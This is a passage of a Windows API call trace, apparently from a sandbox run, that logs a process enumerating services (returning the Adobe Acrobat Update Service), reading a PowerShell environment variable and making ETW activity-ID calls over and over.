lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297300 [0097.058] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.061] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.061] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.064] CoTaskMemFree (pv=0x744e580) [0097.064] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.064] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.064] CoTaskMemFree (pv=0x744e580) [0097.064] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.064] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.064] CoTaskMemFree (pv=0x744e580) [0097.064] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x40, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.064] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.064] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x40, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x40, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.065] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x41, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.065] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x40, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.065] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x41, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x41, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.065] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x42, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.065] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x41, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.065] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x42, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x42, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.065] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297198 [0097.066] EnumServicesStatusW (in: hSCManager=0x3297198, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.067] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.067] EnumServicesStatusW (in: hSCManager=0x3297198, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.071] CoTaskMemFree (pv=0x744e580) [0097.071] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.071] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.072] CoTaskMemFree (pv=0x744e580) [0097.072] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.072] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.072] CoTaskMemFree (pv=0x744e580) [0097.072] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x43, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.072] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x42, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.072] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x43, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x43, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.072] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x44, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.072] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x43, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.072] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x44, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x44, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.073] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x45, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.073] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x44, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.073] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x45, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x45, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.073] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32971c0 [0097.074] EnumServicesStatusW (in: hSCManager=0x32971c0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.075] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.075] EnumServicesStatusW (in: hSCManager=0x32971c0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.078] CoTaskMemFree (pv=0x744e580) [0097.078] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.079] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.079] CoTaskMemFree (pv=0x744e580) [0097.079] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.079] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.079] CoTaskMemFree (pv=0x744e580) [0097.079] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x46, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.079] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x45, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.079] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x46, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x46, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.079] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x47, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.079] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x46, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.079] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x47, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x47, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.080] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x48, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.080] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x47, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.080] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x48, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x48, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.080] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297210 [0097.096] EnumServicesStatusW (in: hSCManager=0x3297210, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.096] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.096] EnumServicesStatusW (in: hSCManager=0x3297210, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.099] CoTaskMemFree (pv=0x744e580) [0097.099] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.099] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.099] CoTaskMemFree (pv=0x744e580) [0097.099] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.099] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.099] CoTaskMemFree (pv=0x744e580) [0097.099] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.099] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x48, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.099] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.100] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.100] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.100] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.100] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.100] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.100] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.101] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.101] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.101] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.101] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.104] CoTaskMemFree (pv=0x744e580) [0097.104] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.104] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.104] CoTaskMemFree (pv=0x744e580) [0097.104] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.104] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.104] CoTaskMemFree (pv=0x744e580) [0097.104] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: 